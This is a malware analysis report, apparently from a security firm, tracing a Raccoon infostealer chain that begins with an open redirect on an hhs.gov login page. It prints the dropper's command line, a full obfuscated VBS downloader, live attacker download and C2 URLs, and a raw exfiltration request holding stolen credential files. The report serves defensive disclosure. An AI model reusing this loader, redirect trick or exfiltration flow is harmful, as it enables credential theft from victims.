HHS Website Redirecting to Malicious Files

In-Depth Analysis

March 25, 2020

Cyberint

TABLE OF CONTENTS

EXECUTIVE SUMMARY

On March 23, 2020 Cyberint research team discovered that the US Health and Human Services (HHS) website (hhs.gov) was redirecting to a malicious infrastructure.

This infrastructure downloads an information stealer known as Raccoon which is sold as a service at the underground marketplaces for as low as 75$ per month. Raccoon provides a rich set of features such as login credentials, credit card information, cryptocurrency wallets and browser information from more than 60 different applications.

Cyberint's initial analysis showed the malware collects the following information from the infected machines:

- General system information
- Installed browser passwords
- Email login credentials
- Browser saved URLs
- Cookie information

Cyberint Research executed a detailed analysis of this discovery.

TECHNICAL ANALYSIS

The infection chain begins from the following URL

https://dcis.hhs.gov/cas/login?service=http%3A%2F%2F195.130.73.229/php/hhs/&gateway=true

The 195.130.73.229/php/hhs URL hosts a Zip document.zip archive.

File name	SHA256	File size, bytes	Tags
document .zip	41A857F3EA7ECBEEEF165F6EAC07606DCD8DFE12821CF4012029025496787129	4505	Archive, Malware

This archive contains a windows lnk file (coronavirus.doc.lnk) masked as an MS Office Word document.

File name	SHA256	File size, bytes	Tags
coronavirus. doc.lnk	2414e2fd46a354ccdcf2adeb6fcb838ed5a47b11572571e2e35e4613fe5b2a88	18501	Dropper, lnk

The file executes an embedded JS code the extracts and drops a VBS file to disk

```
Windows
System32
cmd.exe
C:\Windows\System32\cmd.exe
%comspec%
desktop-1eq1o8l
HPnVSsPuVlSyVZggUoSyKdoGjtisvEkvAeMmqI = array(82369, 83521, 41616, 77284, 84681, 82944, 81796, 84100,
44521, 85849, 76176, 84100, 84681, 81225, 77284, 44944, 81796, 78961, 87025, 86436, 34225, 35721, 86436, 76729,
83521, 43264, 68121, 86436, 76729, 66564, 80089, 74529, 80656, 78961, 44100, 54289, 43681, 60516, 82944, 74529,
75076, 83521, 76176, 65536, 75625, 79524, 75625, 77841, 85849, 47961, 45369, 70756, 66564, 75625, 84681, 80656,
84100, 83521, 48400, 69169, 79524, 76729, 80656, 81796, 44521, 47089, 36864, 34969, 68121, 77284, 86436, 41616,
59049, 67081, 65536, 44100, 55225, 44944, 60516, 84100, 75625, 72361, 83521, 74529, 64516, 72900, 81796, 74529,
73441, 87616, 46225, 44944, 68644, 73984, 83521, 80089, 85264, 86436, 79524, 80656, 77284, 47524, 61009, 77841,
80656, 77841, 65025, 85849, 85849, 84100, 75076, 79524, 65025, 76176, 81225, 77284, 76729, 87616, 44100, 47961,
34225, 34596, 63504, 72900, 87616, 80656, 42849, 57600, 42436, 69696, 83521, 78400, 65025, 78400, 77284, 79524,
81225, 51076, 58564, 8880
KlsQfgUMVZHRTgtooKZmlxoHqzOtZcsAJjEGgc : next : eval("execute(vnheRuqpQteHohlGdauOFDH)")
gWindows
?System32
cmd.exe
coronavirus.doc$..\..\..\..\Windows\System32\cmd.exe
/v:on /c del qyhRR & if not exist csnJs.txt (set "DJoLj=n" & set "VVdEg=s") & fi!DJoLj!d!VVdEg!tr "HPnVS.*"
coronavirus.doc.l!DJoLj!k > "%tmp%\TynhV.vb!VVdEg!" & "%tmp%\TynhV.vb!VVdEg!" &
LHumK!%SystemRoot%\system32\SHELL32.dll
%comspec%
S-1-5-21-2757954604-340118960-1547191765-1001
```

The JS script contains an encoded byte array and - when executed - drops a VBS script to disk named TynhV.vbs to the %temp% directory

File name	SHA256	File size, bytes	Tags
TynhV.vbs	DF41D7733025128357571FC1C1166F696E83E06EEB39CE6C828031B1994DB957	16343	Downloader, VBS

HPnVSsPuVlSyVZggUoSyKdoGjtisvEkvAeMmqI = array(82369, 83521, 41616, 77284, 84681, 82944, 81796, 84100, 44521, 85849, 76176, 84100, 84681, 81225, 77284, 44944, 81796, 78961, 87025, 86436, 34225, 35721, 86436, 76729, 83521, 43264, 68121, 86436, 76729, 66564, 80089, 74529, 80656, 78961, 44100, 54289, 43681, 60516, 82944, 74529, 75076, 83521, 76176, 65536, 75625, 79524, 75625, 77841, 85849, 47961, 45369, 70756, 66564, 75625, 84681, 80656, 84100, 83521, 48400, 69169, 79524, 76729, 80656, 81796, 44521, 47089, 36864, 34969, 68121, 77284, 86436, 41616, 59049, 67081, 65536, 44100, 55225, 44944, 60516, 84100, 75625, 72361, 83521, 74529, 64516, 72900, 81796, 74529, 73441, 87616, 46225, 44944, 68644, 73984, 83521, 80089, 85264, 86436, 79524, 80656, 77284, 47524, 61009, 77841, 80656, 77841, 65025, 85849, 85849, 84100, 75076, 79524, 65025, 76176, 81225, 77284, 76729, 87616, 44100, 47961, 34225, 34596, 63504, 72900, 87616, 80656, 42849, 57600, 42436, 69696, 83521, 78400, 65025, 78400, 77284, 79524, 81225, 51076, 58564, 88804, 82944, 76176, 83521, 77841, 60025, 81796, 84681, 79524, 86436, 82944, 79524, 81225, 78961, 84100, 85264, 67600, 86436, 82369, 77841, 82369, 79524, 83521, 45369, 42849, 44944, 67081, 60025, 65536, 65536, 46656, 43264, 48400, 42025, 44100, 44521, 45796, 70225, 60025, 73441, 74529, 76729, 74529, 82369, 80089, 81225, 47961, 83521, 86436, 81225, 43264, 36864, 35344, 85849, 76729, 86436, 43681, 84100, 66564, 81796, 80089, 62500, 78961, 82369, 80656, 42025, 55696, 44521, 67600, 85264, 77841, 67600, 79524, 78961, 81796, 80656, 47961, 58081, 86436, 78961, 75076, 83521, 77284, 68121, 80089, 83521, 82369, 87616, 77284, 87616, 83521, 45369, 67081, 76729, 86436, 77841, 45369, 34225, 33489, 82944, 67081, 85849, 79524, 63001, 77284, 83521, 82369, 50625, 67081, 76176, 82944, 77284, 76729, 87025, 66049, 76176, 85264, 76176, 42436, 55225, 42025, 42849, 80089, 85264, 86436, 83521, 84100, 56644, 49729, 49729, 78961, 72361, 77284, 78400, 77284, 84681, 82944, 80656, 49729, 75076, 81225, 80089, 42436, 36864, 36100, 81225, 69696, 86436, 81225, 65025, 79524, 84100, 80656, 47961, 67081, 76729, 87616, 74529, 46656, 67081, 45369, 36864, 35721, 80656, 77284, 44100, 43264, 46225, 60025, 69169, 63001, 50625, 61504, 79524, 78961, 76729, 58564, 90000, 78961, 86436, 85849, 86436, 45369, 64516, 73984, 85264, 79524, 45796, 46656, 43681, 44521, 67600, 80089, 77841, 81796, 44100, 34225, 34225, 69696, 65536, 75625, 83521, 79524, 80656, 83521, 47524, 60516, 75625, 76176, 82369, 44944, 43264, 59049, 82369, 85849, 82369, 84681, 43681, 45369, 34225, 34596, 75076, 80656, 82369, 74529, 36481, 33856, 59536, 76729, 78961, 42849, 87025, 79524, 79524, 49729, 88209, 84100, 48400, 74529, 74529, 46656, 76176, 80656, 82944, 75625, 80656, 75076, 87616, 78961, 50176, 66564, 65536, 64516, 36481, 33489, 87616, 82369, 79524, 43264, 54289, 41616, 44100, 64009, 67600, 70225, 63001, 65536, 51984, 51076, 69169, 77841, 82944, 84100, 78961, 83521, 71289, 62001, 62500, 60025, 69696, 66564, 64009, 48400, 52441, 50176, 49729, 45796, 34225, 33489, 88804, 85849, 42025, 58081, 41616, 42436, 70756, 69169, 77841, 84100, 80656, 83521, 85264, 48841, 67081, 77841, 78961, 78400, 80656, 44521, 37249, 35344, 76729, 77284, 44521, 55696, 41616, 45796, 56644, 76729, 80656, 76176, 73441, 48400, 67081, 83521, 84100, 78961, 75076, 80089, 44521, 36864, 35344, 65025, 75076, 87025, 42436, 85849, 86436, 77284, 87025, 42436, 55225, 44521, 75076, 85264, 76176, 72361, 83521, 75625, 80089, 73441, 77284, 78400, 76176, 85264, 47961, 87025, 82369, 48841, 37249, 35344, 75625, 78961, 79524, 77841, 80656, 72361, 87616, 78961, 42025, 56169, 44100, 89401, 82369, 79524, 84681, 50625, 59536, 88209, 84681, 73984, 79524, 75625, 62001, 81225, 87616, 81225, 81796, 82944, 82369, 78961, 75625, 82369, 87025, 67600, 83521, 84100, 76729, 79524, 79524, 86436, 46656, 45796, 46656, 65536, 59536, 62001, 64009, 44521, 43264, 47089, 44100, 46656, 42849, 43264, 69696, 60025, 76729, 64516, 62500, 67081, 47961, 75076, 90000, 74529, 42849, 36864, 33856, 70225, 66049, 64009, 42025, 58081, 42849, 42849, 80656, 85264, 84100, 85264, 55696, 49284, 51076, 49284, 54756, 51076, 50625, 54289, 52441, 49284, 49729, 54756, 52441, 49284, 52900, 48841, 50176, 47961, 80089, 85849, 81225, 86436, 51076, 84100, 80656, 82369, 84100, 50176, 76729, 83521, 85849, 80089, 81796, 72900, 48400, 78961, 88209, 75076, 44521, 36481, 34225, 76729, 82944, 73984, 43681, 80089, 78961, 34225, 36100, 36864, 34225, 61009, 73441, 80656, 81225, 42025, 81225, 83521, 82944, 77841, 34596, 34596, 41616, 85264, 87025, 76729, 42849, 81225, 82369, 82944, 78961, 37249, 33489, 42849, 41616, 41616, 41616, 75076, 81225, 81796, 44944, 82369, 82944, 88209, 81796, 82369, 55696, 41616, 67081, 75076, 83521, 43264, 78961, 84681, 90000, 79524, 81225, 43264, 56644, 42849, 73441, 86436, 74529, 75076, 84681, 75076, 83521, 73441, 77841, 78400, 73984, 86436, 46225, 88209, 82944, 82944, 46225, 36100, 33489, 41616, 42849, 43264, 42849, 77284, 81225, 80656, 43681, 87025, 85264, 84100, 76176, 76729, 80089, 56644, 44521, 66049, 75625, 82944, 42025, 87025, 87025, 82369, 77841, 74529, 81225, 44521, 58081, 42849, 73984, 82944, 78961, 73441, 82944, 76729, 82944, 76729, 81225, 77284, 73441, 85849, 47961, 77841, 74529, 46225, 35344, 33489, 44944, 42025, 42025, 42025, 79524, 85264, 89401, 82369, 80656, 49729, 65025, 82944, 78961, 80089, 44521, 44100, 59536, 60025, 69696, 43681, 48841, 41616, 67600, 65025, 62500, 47089, 43681, 61009, 72900, 81796, 83521, 76176, 35721, 36100, 33489, 82944, 82369, 89401, 83521, 79524, 49729, 65536, 77841, 87025, 66564, 78961, 81796, 83521, 78400, 85264, 84100, 60516, 78400, 76729, 75625, 76176, 82944, 43681, 43264, 66049, 82369, 78400, 85264, 47524, 58081, 78961, 74529, 84100, 85264, 44944, 49729, 42849, 42436, 88209, 79524, 69169, 69169, 66564, 67081, 66564, 78961, 64516, 74529, 63001, 87616, 68644, 75076, 64009, 67081, 83521, 64009, 84681, 63504, 71824, 75076, 81796, 45796, 34596, 34969, 35721, 83521, 86436, 87025, 83521, 82369, 50176, 68644, 77841, 84100, 76729, 37249, 34969, 43264, 42849, 42025, 44100, 84681, 81225, 87616, 76176, 44521, 84100, 84681, 85264, 77841, 73441, 81225, 34969, 36100, 42849, 42436, 44100, 44521, 43264, 43264, 48841, 87616, 89401, 82369, 77841, 41616, 55225, 44944, 52441, 36100, 35721, 42849, 43264, 42025, 41616, 42025, 44100, 49284, 82369, 81796, 75076, 81796, 35344, 33856, 44521, 43264, 42436, 42849, 43681, 44944, 48400, 88209, 83521, 79524, 85849, 76176, 44944, 82369, 84681, 88804, 79524, 80089, 50625, 82369, 78961, 84681, 81796, 84681, 83521, 82369, 75076, 57121, 84681, 76729, 90000, 36481, 34969, 43681, 44100, 41616, 44100, 43681, 42849, 51076, 85849, 75625, 86436, 78400, 85264, 81796, 77841, 76729, 82944, 77284, 42436, 78400, 77841, 82369, 75076, 80656, 76729, 85849, 76729, 47961, 42025, 51529, 36481, 34969, 33489, 75625, 81796, 77841, 42025, 86436, 78400, 87616, 80656, 34969, 33124, 42436, 87616, 86436, 76176, 85849, 50625, 60025, 85849, 76176, 75625, 46656, 75076, 78400, 82944, 75076, 81796, 72900, 87616, 76176, 47961, 36864, 34225, 43681, 77284, 82944, 74529, 44521, 84681, 85849, 76176, 34969, 33856, 44944, 87025, 84681, 76729, 85264, 50176, 63504, 81225, 82369, 87616, 81225, 42849, 44521, 59049, 85264, 85264, 83521, 84681, 54756, 42025, 58564, 80656, 81225,

```
74529, 42025, 80656, 84681, 42849, 74529, 85264, 84681, 78400, 78961, 79524, 44944, 48400, 42436, 48400, 47524, 44100, 42849, 63504, 77841,
76176, 84681, 83521, 84100, 80089, 76729, 82944, 42436, 68644, 84681, 81796, 75625, 44521, 48400, 42849, 51984, 42436, 47524, 44100, 50625,
54289, 36864, 35344, 59536, 66049, 66049, 49729, 60025, 75076, 87025, 60025, 78400, 78400, 75076, 47961, 67600, 66564, 75625, 85264, 77284,
84681, 85264, 50625, 68644, 73984, 85849, 81225, 83521, 85849, 60025, 84100, 82944, 80089, 65536, 75076, 81796, 78961, 47524, 51076, 78400,
77284, 81796, 78961, 87616, 74529) : OJMhpzXnKwXfkgPUpscbIpxCMQQMHLeuPvLiMOv = array(30976, 32041, 29584, 31329, 31329, 30276, 30625,
30976, 32041, 32041, 30625, 30625, 30276, 30976, 31329, 32400, 30976, 32400, 30625, 31684, 29584, 32041, 32041, 30976, 29929, 30976, 30276,
32041, 29929, 30625, 32041, 29584, 30976, 29929, 31684, 29584, 31329, 32041, 30276, 29584, 31329, 29929, 30625, 31329, 31329, 30976, 30276,
32400, 31329, 32041, 32041, 32041, 30625, 30976, 31329, 32041, 31684, 29929, 30276, 32400, 31684, 30976, 30976, 31684, 31329, 30976, 32041,
31329, 31684, 31329, 31684, 29584, 29929, 30976, 31329, 31684, 30276, 32400, 32041, 30976, 30276, 29584, 29929, 29584, 30625, 29584, 32400,
29584, 29584, 32400, 30625, 31684, 32041, 29929, 30625, 31684, 32400, 31684, 31329, 30276, 30625, 29584, 31329, 30276, 30976, 31684, 29584,
29584, 31684, 30276, 29929, 29929, 30976, 31684, 32041, 31329, 31684, 32400, 30976, 31684, 29584, 30976, 29584, 29929, 32400, 32400, 30625,
32041, 30276, 31329, 30276, 30976, 29584, 30976, 31329, 30276, 31329, 32400, 29929, 31684, 30976, 32041, 32041, 32041, 30976, 30976, 29929,
31329, 32400, 31329, 29584, 30976, 32400, 32400, 30976, 31329, 31684, 29929, 30276, 31329, 32041, 30276, 29929, 29929, 30625, 30625, 30976,
32041, 30976, 32041, 30276, 32041, 29929, 29584, 32041, 32400, 29929, 30625, 30276, 30276, 30976, 30625, 30976, 29584, 31684, 29929, 29584,
32400, 31329, 30276, 32041, 31684, 31684, 30976, 31684, 31329, 32041, 29929, 29584, 30625, 30276, 30976, 31329, 31329, 29929, 30625, 32041,
29929, 31329, 30625, 31329, 31684, 32400, 31684, 30976, 29929, 30276, 32400, 32400, 31329, 29929, 31329, 31684, 32041, 31684, 29929, 32400,
32041, 32041, 29929, 29929, 32041, 32400, 31684, 30625, 29584, 29584, 29929, 31329, 30276, 32041, 30276, 30625, 29929, 32041, 32400, 32041,
30625, 32041, 30276, 30625, 30976, 32041, 31329, 32041, 30976, 29584, 30276, 30276, 29929, 29929, 32041, 30976, 31684, 31329, 30625, 32400,
30976, 30976, 32041, 29584, 32041, 32041, 32400, 32400, 31329, 31329, 31329, 30625, 30276, 30276, 29584, 32041, 32400, 30276, 32041, 32400,
31329, 32041, 31329, 32400, 31329, 29929, 30976, 32400, 31684, 29584, 30976, 30976, 29584, 32041, 32041, 32041, 30976, 31684, 30976, 30625,
30625, 32400, 29584, 32041, 31684, 31329, 29929, 30976, 29929, 32400, 30976, 32041, 31329, 32041, 29929, 30276, 30625, 30976, 31684, 29929,
30625, 31329, 32041, 30976, 32041, 31684, 30976, 31684, 29584, 30625, 31329, 29929, 30976, 30625, 31329, 29584, 29929, 29584, 31329, 30976,
29584, 30976, 32400, 30276, 30276, 29929, 32041, 30976, 31329, 30976, 32041, 29584, 30976, 29929, 30976, 29584, 29584, 31684, 30276, 30976,
29584, 29584, 30625, 30625, 29929, 30276, 32041, 31684, 30625, 30976, 29929, 30625, 29584, 30276, 32041, 32400, 30276, 29584, 31329, 32400,
31329, 32400, 29929, 30276, 31684, 31684, 29929, 30976, 31684, 30276, 30976, 29584, 29584, 30976, 30976, 31329, 31329, 30276, 32400, 31684,
32400, 32400, 31684, 30276, 29584, 32400, 30625, 32041, 29584, 30276, 29929, 32400, 30276, 29929, 30276, 31684, 31684, 30625, 32400, 29584,
29929, 32041, 31684, 29929, 32400, 29584, 29584, 32041, 32400, 32400, 30976, 32041, 31329, 30976, 30625, 30976, 30625, 32400, 29584, 30976,
31329, 32400, 31684, 31329, 32400, 32041, 30625, 29584, 32400, 29929, 31329, 29929, 30976, 29929, 30276, 30976, 29929, 30976, 32400, 31329,
30276, 31329, 32041, 31684, 29584, 29929, 32041, 30276, 30276, 32041, 30276, 32400, 30276, 30276, 32041, 30625, 31684, 30625, 29584, 29929,
30276, 29584, 29929, 29584, 32041, 31329, 30976, 32041, 30976, 29584, 32400, 32400, 31684, 29929, 30976, 30276, 31684, 29584, 29584, 32400,
31329, 29929, 30976, 31684, 32400, 29584, 31684, 30976, 32041, 30625, 31329, 32041, 30625, 29584, 30625, 32400, 30625, 31684, 32400, 29584,
31329, 31329, 29584, 30276, 31329, 32041, 31329, 29929, 30976, 29584, 29584, 32041, 32041, 30976, 32400, 32041, 29584, 30625, 29584, 29929,
30276, 30276, 30976, 31684, 31684, 30625, 30276, 29584, 29929, 29929, 32041, 32400, 29584, 29929, 29929, 32041, 30276,
32400, 30625, 31329, 29929, 32400, 30625, 29929, 32400, 30976, 30276, 32400, 31684, 30625, 32041, 29929, 31684, 29929, 32041, 32041, 32041,
30976, 30276, 31684, 29929, 30976, 32400, 29929, 29584, 29584, 32041, 30976, 30625, 31684, 32041, 31684, 29929, 29584, 30276, 31329, 31684,
31684, 32041, 29584, 30976, 29929, 30276, 32400, 31329, 29929, 31329, 31684, 30625, 30976, 31684, 29584, 31329, 31684, 32041, 29584, 32400,
32041, 30625, 32400, 30276, 30976, 31329, 29929, 29929, 30625, 31329, 30976, 29929, 30976, 29584, 31329, 31684, 32041, 30625, 29929, 29929,
31329, 31684, 32400, 29929, 30625, 29584, 29584, 29584, 30276, 32400, 31329, 32400, 31684, 29929, 31329, 31329, 32041, 31684, 29584, 30976,
29929, 29929, 30976, 29584, 30976, 32400, 29929, 31329, 30976, 31329, 30625, 29584, 32400, 29584, 31329, 30625, 29929, 31684, 29929, 29929,
32041, 29929, 31684, 30625, 31329, 32041, 32400, 30276, 31329, 29929, 29584, 30625, 30976, 30625, 31684, 32400, 30625, 31329, 32400, 30976,
30976, 30625, 32400, 30276, 32400, 32041, 30276, 30276, 29584, 29929, 32400, 32041, 29929, 31684, 30976, 30976, 32041, 32400, 30625, 29929,
30276, 32400, 30276, 29584, 30976, 31329, 32041, 32041, 31329, 29584, 31329, 32041, 32041, 30625, 30276, 30625, 29929, 32400, 29929, 29929,
29929, 29929, 31329, 32041, 31684, 30976, 31329, 30976, 30976, 32400, 29929, 32041, 30976, 29929, 30976, 32400, 30625, 31329, 29584, 30625,
29929, 30276, 29929, 31329, 31329, 29929, 31684, 30276, 30625, 30976, 32400, 30276, 32041, 29584, 32041, 32400, 30276, 31329, 29929, 31684,
32041, 30976, 32400, 29929, 29584, 32041, 31329, 30276, 30276, 32041, 32400, 30625, 30625, 30276, 31329, 30276, 29584, 29584, 32041, 31684,
29929, 30976, 31684, 29584, 32400, 30976, 31684, 32041, 30625, 29584, 32041, 30625, 32041, 32400, 32400, 32400, 31329, 32400, 31329, 30276,
30276, 32041, 31684, 31329, 29929, 29584, 31329, 29584, 30625, 31684, 32041, 30976, 30276, 32400, 29929, 31329, 32400, 32400, 32041, 30625,
32400, 32041, 31684, 32041, 31684, 32400, 31329, 32400, 31329, 30976, 30625, 29929, 31684, 29584, 32400, 32400, 29584, 32041, 30625, 30625,
31684, 31684, 30276, 30976, 30276, 32400, 30625, 30276, 31684, 32041, 30976, 30976, 30625, 32400, 31684, 30625, 31684, 29584, 30276, 32400,
32400, 31329, 32041, 30625, 30976, 29929, 29584, 29929, 31684, 30976, 30976, 30276, 29929, 30976, 30625, 30276, 32041, 30976, 30276, 30625,
31329, 32400, 30276, 31684, 30625, 31329, 31329, 30625, 32400, 31684, 30976, 31684, 29929, 30625, 32041, 29929, 32400, 30976, 30276, 32400,
32041, 29584, 29929, 29929, 32400, 31329, 32041, 31684, 31329, 31329, 31684, 29584, 31684, 31329, 30625, 32400, 31684, 31684, 30976, 32041,
30976, 30625, 31329, 29584, 32400, 31329, 30276, 31684, 30276, 32041, 29929, 29584, 32400, 31329, 29929, 30625, 29929, 31329, 31684, 31329,
30276, 30276, 30976, 32041, 29929, 30625, 30625, 32400, 32400, 30276, 29584, 30276, 31329, 32041, 29584, 31684, 32041, 30976, 29929, 30625,
30976, 30976, 29584, 30625, 32400, 29929, 30276, 29929, 32400, 29584, 31684, 32041, 30625, 31329, 31329, 31684, 29929, 32041, 30976, 30976,
31684, 30276, 30276, 32400, 30976, 30976, 29929, 31329, 31684, 29584, 30276, 30625, 32041, 29929, 30625, 31329, 30276, 31684, 31684, 31684,
31329, 30976, 29929, 29584, 32041, 31329, 29584, 29929, 32041, 30976, 30625, 30625, 31684, 32400, 29929, 32400, 29584, 31684, 30976, 30276,
29584, 30276, 31684, 29929, 30625, 30276, 31329, 31329, 31684, 30625, 29584, 30625, 29584, 30276, 30625, 32400, 29584, 30625, 31329, 30976,
30625, 32400, 30276, 30625, 31684, 29929, 31329, 32041, 31684, 30276, 30276, 31684, 31329, 30276, 29929, 32041, 30625, 30625, 29584, 29929,
32041, 29929, 30625, 30976, 31684, 29929, 32041, 30976, 32041, 32041, 29929, 32041, 32400, 31329, 31329, 30625, 29929, 32400, 30625, 31684,
31329, 31329, 32400, 31329, 32400, 32400, 31329, 31684, 32400, 32400, 29584) : for naTBSFYEGvJQdHnQlsCHOHkXxrCTksLIwuwanjp =
lbound(HPnVSsPuVlSyVZggUoSyKdoGjtisvEkvAeMmqI) to ubound(OJMhpzXnKwXfkgPUpscbIpxCMQQMHLeuPvLiMOv) :
CPPFTOKSLLcZgwVEXzmeCFEkBmwCaySWTjRG =
sqr(HPnVSsPuVlSyVZggUoSyKdoGjtisvEkvAeMmqI(naTBSFYEGvJQdHnQlsCHOHkXxrCTksLIwuwanjp)) -
sqr(OJMhpzXnKwXfkgPUpscbIpxCMQQMHLeuPvLiMOv(naTBSFYEGvJQdHnQlsCHOHkXxrCTksLIwuwanjp)) :
KlsQfgUMVZHRTgtooKZmlxoHqzOtZcsAJjEGgc = chr(CPPFTOKSLLcZgwVEXzmeCFEkBmwCaySWTjRG) : vnheRuqpQteHohlGdauOFDH =
vnheRuqpQteHohlGdauOFDH & KlsQfgUMVZHRTgtooKZmlxoHqzOtZcsAJjEGgc : next : eval("execute(vnheRuqpQteHohlGdauOFDH)")
```

TynhV.vbs is heavily obfuscated and contains two byte arrays, the decoding routine decodes the two arrays which result in binary code to the following URL

http://185.62.188.204/hunt/post/corona.exe

corona.exe is a Raccoon payload executed from the %temp% directory.

The payload drops another file called svchost.exe in the same directory, svchost is a legitimate and signed by Microsoft vbc.exe.

Raccoon payload starts the svchost.exe in a suspended state and injects code into svchost.exe, and resumes execution.

File name	SHA256	File size, bytes	Tags
corona .exe	417871EE18A4C782DF7AE9B7A64CA060547F7C88A4A405B2FA2487940EAA3C31	734208	Dropper, Raccoon
svhost. exe	D4CB7377E8275ED47E499AB0D7EE47167829A5931BA41AA5790593595A7E1061	2688096	Injected, Raccoon, Signed

http://35.228.60.178/gate/log.php

using an HTTP POST request and a base64 encoded parameters the decoded value is

bot_id=90059C37-1320-41A4-B58D-2B75A9850D2F_admin&config_id=1100ffd1149d14257ac9c4b7df1ceb7c1777d166&data=null

bot_id is the infected machine GUID. config_id is the configuration id for the malware.

The received response is the following json format response:

{"url":"http://35.228.60.178/file_handler/file.php?hash=ada9815aff61f6145a584e38e724a70ac4ac967c&js=8eef2fb5d253751408287c2add27cfc10dc2821a&callback=http://35.228.60.178/gate","attachment_url":"http://35.228.60.178/gate/sqlite3.dll","libraries":"http://35.228.60.178/gate/libs.zip","ip":"185.183.107.236","config":{"masks":null,"loader_urls":null},"is_screen_enabled":0,"is_history_enabled":0,"depth":3}

That json file contains information that the malware needs to execute its tasks.

The malware downloads legitimate files from the C2 server like sqlite3.dll and libs.zip containing more auxiliary files the malware uses to steal information from the infected machine.

The malware then collects the following information from the infected machine

- General system information
- Installed browser passwords
- Email login credentials
- Browser saved URLs
- Cookie information

Raccoon then exfiltrates the information using the following POST request

http://35.228.60.178/file_handler/file.php?hash=ada9815aff61f6145a584e38e724a70ac4ac967c&js=8eef2fb5d253751408287c2add27cfc10dc2821a&callback=http://35.228.60.178/gate

file.php is an archive containing the above mentioned data collected by Raccoon sends it back to its C2 server.

À3cp‹õ´B

--Jfbvjwj3489078yuyetu

content-disposition: form-data; name="file"; filename="data.zip"

Content-Type: application/octet-stream

PK @µxPöÎj=o ª passwords.txtUT ¸Œz^±Œz^±Œz^öw±RpÏÏOÏIUpÎ(ÊÏMÕpIMK,Í)Ñäåòð Êf""[éëçê¥%&§&åçgë%ççêór…»¥óóR+

òK@¢¼\ŽÁÁPÁ,ÄâbcS3^.^®`°=n™E©iù0ƒI2 PK @µxPáü÷· browsers/firefox_urls.txtUT ¸Œz^¸Œz^¸Œz^ÏK,0€á= wàÒ–>hIŒ·¬4€(hII[¨zzÁ×v7™äÿ¦Å.Ï¢³s-Í ðÞÇ}—MSÆÚœ@kd_n –¦ªõ„ÁVwÊe

ƒ¼´.ê¥•ãH1%"@È8_„Añ+\©U±_žO óóŸ,C1Œ"q´Îtjƒ—üâËÐ'äÏ¥³ªò`£›c_+µZ¿N¯†é(2,¸À|ˆ£ 8vdf„p1,yÃPK *µxPv P% , browsers/chrome_autofill.txtUT ±Œz^±Œz^±Œz^sË,*.ñKÌMåårOL*ÊLÍáåâåòI„ %¦e¦çƒDPK JµxP›ÌGMN | mails/outlook.txtUT ½Œz^½Œz^½Œz^ö PN-*K-²2´4Ò34³Ð3Ô3ää

ð0Æ*áš›¯™c•'Ÿ—ZéP_¢—œŸUZT‹M" ±¸¸<¿("Y ä›šñr PK JµxPžt¶f L System Info.txtUT ½Œz^½Œz^½Œz^Sï‹Û8ý|üóíŠ…,ÿ6,œ×Ù¤)›4u'ÞÑã(Z[›ˆu$cË¹Ýþõ7J6Ki)œýAxÞ›ñÓÌ›¿K^UZ+ØÁÑý.œ<JÑÞ‹ñèvM•>¶²5 y{`&€Åàù£Ya£ŒŽG÷|PÕYÜdç¡>aVe,XFC¯/·XS›¯‹i)¥aZø±ëùŒº—îm˜L]v‡yš„tÊf_y}"j<*¥¤Ú[jÑ?ÝŽGãÑMy"ßø~ÄwucC›—Þ¯#,Ô£îŽÜH-2Ôñ

Ýsµø^dp§ö¡ì?à[y_´BÜ¥pèú+\`#º?"¶ÛÜ•îº¸,»^tê¼J¾„ë¼$$^â Æ„ùÑúSªZÿÛÃIt½U «-DÄ» ëN×CeàRôJŽmüQô6ƒ7?ç]uÈàÙgoŠ×»;aDã"Ôß g»œ€Ý( Ô ð0Óùûoà8èNô“kv™'/3ðÃÄ‡å-8QLí9ô¢~clªN¯¤›áÜjðXBŸcë‡e*û¶á/8´"¬D³øNÐr\Õ¼«áó<‡yÇÛƒ¬zÈkÞb Ïƒýî±ßÕÞXæmÛg€eòZ?È«N?pƒ–åµè`ZÀr· Ç eh?Jc:y#ÏÞ`z Ê"L6ò$þ‡EíJ<ßû5yµÎ×‹ÿG]ÿšZŠGI×–\¡;TJr–X¸tÊ†Bâ‡62Ã¥û"›†CÑH¡øÄÇ'à\NK™k½o‡N81^›øqŒ?¥ßã»¶æFÀ{Ñ´— b…€Ä–ñŸ8$WFÊÀA=$Åõõ,7<Œ~¥`:CÉ){Å—úÛYâLvâQ?CdÓ=pž„rw› zç³ì•6¢åõ»wx æ>HÈCFL á#

äè"â…¨ÓÄ‹ƒÄBŸî–;Ø¢7€-Ãv ’'èâü#ž /~OcÔ[K ÑÍÓK+® a©½KmÆçûŽ¢–ÚËà°#'…pÛÊ¼„DôªsbÇÑs× ¶ç PK @µxP"Ñ´: Ý - browsers/cookies/Firefox_qldyz51w.default.txtUT ¸Œz^¸Œz^¸Œz^ŽKKÃ@…×SèOÉ8÷Î+³¬ +¥kJ6aæ! mb¬¿ÞTqQ·ç¾óÃ@ëæ£:,mŽyÜîïÈa¤RKÁûèÔõ.²]w¬\ßUÍkä›ðL<ðõò°ÚÎ²s¼mÝü½|¨Í9=§]šlÚ 0³˜Ë7WïÚûzY°ými"Ð¯¶eïø°ðøÄÛôÅ¡di "Ù¯|Mét2ü×ñTEŽÌƒ6€RI ïœdB-sÈc<÷cû€ ¬³Ì;.rã¬E¦¬ÌÍtrå[¡–

Øø–Ìg@'êXÄ¨'^ÔDl¯W?òYQ…o,.F€$\æK¡Ëv³^+ Å" 0 PK @µxPöÎj=o ª € passwords.txtUT ¸Œz^PK @µxPáü÷· € « browsers/firefox_urls.txtUT ¸Œz^PK *µxPv P% , € ª browsers/chrome_autofill.txtUT ±Œz^PK JµxP›ÌGMN | € mails/outlook.txtUT ½Œz^PK JµxPžt¶f L € ¨ System Info.txtUT ½Œz^PK @µxP"Ñ´: Ý - € browsers/cookies/Firefox_qldyz51w.default.txtUT ¸Œz^PK Ù n

--Jfbvjwj3489078yuyetu--

We can clearly see the PK header and some files such as passwords.txt and System Info.exe in the archive.

MITRE ATT&CK™ MAPPING

Technique	Tactic	Description
T1106 - Execution through API	Execution	chrom.exe - Application launched itself
T1064 - Scripting	Defense Evasion Execution	cmd.exe -Executes scripts
T1204 - User Execution	Execution	cmd.exe - Manual execution by user
T1129 - Execution through Module Load	Execution	svhost.exe - Loads dropped or rewritten executable
T1081 - Credentials in Files	Credential Access	svhost.exe - Actions looks like stealing of personal data svhost.exe - Stealing of credential data
T1003 - Credential Dumping	Collection	svhost.exe - reads Reads the cookies of Mozilla Firefox and Reads the cookies of Google Chrome
T1012 - Query Registry	Discovery	svhost.exe - Searches for installed software and Reads Internet Cache Settings
T1114 - Email Collection	Collection	svhost.exe - Stealing of credential data
